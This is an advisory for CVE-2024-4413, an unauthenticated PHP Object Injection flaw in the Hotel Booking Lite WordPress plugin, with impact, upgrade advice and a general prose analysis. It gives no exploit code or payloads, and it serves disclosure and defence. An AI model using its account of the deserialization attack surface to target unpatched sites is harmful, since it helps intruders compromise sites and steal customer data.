CVE-2024-4413
Overview
This vulnerability is a PHP Object Injection rooted in unsafe deserialization of untrusted input within the Hotel Booking Lite WordPress plugin, specifically versions up to 4.11.1. The flaw occurs due to inadequate validation of serialized PHP objects processed by the plugin's checkout shortcode component. This improper handling allows injection of crafted PHP objects into the deserialization process, affecting the plugin's input processing mechanism.
Vulnerability Description
The Hotel Booking Lite plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.11.1 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
Impact
An unauthenticated remote attacker can exploit this vulnerability to inject PHP objects via deserialization, potentially leading to arbitrary file deletion, data exposure, or remote code execution if a suitable POP chain exists through other installed plugins or themes. No user interaction or authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N). This can result in full system compromise, data breaches, and service disruption within affected WordPress environments using the vulnerable plugin versions.
Solution
Upgrade the MotoPress Hotel Booking Lite plugin to a version later than 4.11.1 where the deserialization vulnerability is mitigated, as detailed in the WordPress plugin repository changeset 3084187. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/1d7f1283-a274-49a2-8bec-da178771b13a) for patch application instructions and verification. No alternative workarounds are documented; immediate update is recommended to remediate this issue.

Full Analysis
The vulnerability in the Hotel Booking Lite plugin for WordPress arises from a critical flaw in its handling of PHP object serialization. Specifically, the plugin is susceptible to PHP Object Injection due to the deserialization of untrusted input. This means that an attacker can craft a malicious payload that, when processed by the plugin, allows the injection of arbitrary PHP objects into the application’s execution context. The absence of a known Property-Oriented Programming (POP) chain within the plugin itself does not mitigate the risk, as the presence of other plugins or themes that could facilitate such a chain on the target system can significantly amplify the threat.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting unauthenticated users. An attacker could leverage this flaw by sending specially crafted requests to the vulnerable plugin, which would then deserialize the malicious input. Once the PHP object is injected, the attacker could potentially manipulate the application’s behavior, leading to unauthorized actions such as file deletion, data retrieval, or even remote code execution. The ease of exploitation, combined with the ability to target unauthenticated users, makes this vulnerability particularly concerning, as it lowers the barrier to entry for potential attackers.
The real-world impact of this vulnerability is profound, especially for businesses relying on the Hotel Booking Lite plugin for their operations. Successful exploitation could lead to significant data breaches, where sensitive customer information, including personal and payment details, could be exposed. Additionally, the ability to execute arbitrary code could allow attackers to deploy malware, deface websites, or disrupt services, leading to reputational damage and financial loss. The potential for such outcomes emphasizes the critical need for organizations to prioritize the security of their web applications and plugins.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify outdated or vulnerable plugins, allowing for timely updates or replacements. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests before they reach the application. It is also essential to educate developers about secure coding practices, particularly regarding input validation and serialization, to prevent similar vulnerabilities from being introduced in the future.
In conclusion, the vulnerability in the Hotel Booking Lite plugin highlights the critical importance of secure coding practices and the need for ongoing vigilance in web application security. With the potential for severe consequences stemming from exploitation, organizations must take proactive measures to safeguard their systems. By understanding the technical details, recognizing the various attack vectors, and implementing effective detection and mitigation strategies, businesses can significantly reduce their risk exposure and protect their assets in an increasingly hostile digital landscape.
